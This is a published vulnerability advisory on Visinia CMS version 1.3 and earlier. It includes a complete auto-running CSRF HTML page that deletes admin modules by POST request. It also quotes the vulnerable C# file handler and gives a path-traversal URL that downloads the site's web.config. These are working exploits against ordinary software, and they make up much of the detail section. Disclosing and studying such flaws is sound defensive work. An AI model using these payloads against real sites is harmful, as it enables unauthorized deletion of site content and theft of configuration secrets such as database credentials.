
# Abysssec Research

## 1) Advisory information

| | |
|---|---|
| **Title** | **: Visinia CMS Multiple Vulnerabilities** |
| **Affected** | **: Visinia < = 1.3** |
| **Discovery** | **: www.abysssec.com** |
| **Vendor** | **: http://www.visinia.com/** |
| **Download** | **: http://visinia.codeplex.com/releases** |
| **Impact** | **: Ciritical** |
| **Contact** | **: shahin [at] abysssec.com , info [at] abysssec.com** |
| **Twitter** | **: @abysssec** |

## 2) Vulnerability Information

Class

1- **CSRF**
2- **File disclosure**

Impact

**An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.**
**Also it's possible to download any sensitive data of CMS.**

Remotely Exploitable

**Yes**

Locally Exploitable

**Yes**

## 3) Vulnerabilities detail

### 1- CSRF for Remove Modules:

With this vulnerability you can navigate the admin to visit malicious site (when he is already logged in) to remove a Module with a POST request to server.

In this path the Module will be removed:

```
http://Example.com/Admin/Pages/System/Modules/ModuleController.aspx?DeleteModule=True&ModuleId=159
```

For removing other modules you need to just change Module ID.

The Source of HTML Page (Malicious scrip) is here:

```
<html>
<head>
<title >Wellcome to Hell!</title>
Hello!
...
...
...
This page remove Modules in Visinia CMS.

<script>
      function RemoveModule() {
         try {
            netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
         } catch (e) {}

         var http = false;
         if (window.XMLHttpRequest) {
            http = new XMLHttpRequest();
         }
         else if (window.ActiveXObject) {
            http = new ActiveXObject("Microsoft.XMLHTTP");
         }

         url =
"http://Example.com/Admin/Pages/System/Modules/ModuleController.aspx?DeleteModule=True&
ModuleId=159";
         http.onreadystatechange = done;
         http.open('POST', url, true);
         http.send(null);
      }
      function done() {
         if (http.readyState == 4 && http.status == 200)
         {
```

```
        }
    }
</script>
</head>
<body onload ="RemoveModule();">
</body>
</html>
```

## 2- File Disclosure Vulnerability:

Vulnerable Code is in this DLL : visinia.SmartEngine.dll

```
  public void ProcessRequest(HttpContext context)
  {
   if (!string.IsNullOrEmpty(context.Request.QueryString["picture"]))
   {
      string fileName = context.Request.QueryString["picture"];     // Give the file from URL
      string folder = WebRoots.GetResourcesRoot();
      try
      {
         FileInfo fi = new FileInfo(context.Server.MapPath(folder) + fileName);
         int index = fileName.LastIndexOf(".") + 1;
         string extension = fileName.Substring(index).ToLower();
         if (string.Compare(extension, "jpg") == 0)
         {
            context.Response.ContentType = "image/jpeg";
         }
         else
         {
            context.Response.ContentType = "image/" + extension;
         }
         context.Response.TransmitFile(fi.FullName);            // Put the file in 'Response' for
downloading without any check
      }
      catch
      {
      }
   }
  }
```

Using this path you can download web.config file from server.

```
http://Example.com/image.axd?picture=viNews/../../web.config
```

The downloaded file is image.axd, while after downloading you find that the content of image.axd is web.config.